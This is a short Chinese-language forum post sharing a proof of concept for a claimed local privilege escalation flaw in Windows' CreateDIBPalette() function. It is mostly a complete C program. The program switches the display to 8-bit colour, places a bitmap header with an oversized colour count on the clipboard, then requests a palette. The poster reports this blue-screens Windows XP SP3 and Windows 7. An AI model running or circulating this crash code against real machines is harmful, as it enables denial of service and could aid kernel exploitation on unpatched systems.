CreateDIBPalette()函数本地权限提升漏洞
很久以前某网友在QQ上给我的,不知道现在修复了没有。。。经我测试,可以在Windows XP SP3和Windows 7 x86/x64 RTM上引发蓝屏。。。
#include <windows.h>
#define CF_DIBV5 17
int main()
{
DEVMODE dm = {0};
dm.dmSize = sizeof(DEVMODE);
dm.dmBitsPerPel = 8;
dm.dmPelsWidth = 800;
dm.dmPelsHeight = 600;
dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;
ChangeDisplaySettings(&dm, 0);
BITMAPINFOHEADER bmih = {0};
bmih.biClrUsed = 0x200;//超过256
HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0x1000);
memcpy((PVOID)GlobalLock(h), &bmih, sizeof(bmih));
GlobalUnlock(h);
::OpenClipboard(NULL);
::SetClipboardData(CF_DIBV5, (HANDLE)h);
::CloseClipboard();
::OpenClipboard(NULL);
::GetClipboardData(CF_PALETTE);
return 0;
}
IDE是Code::Blocks 10.05。 围观又一个漏洞!
页:
[1]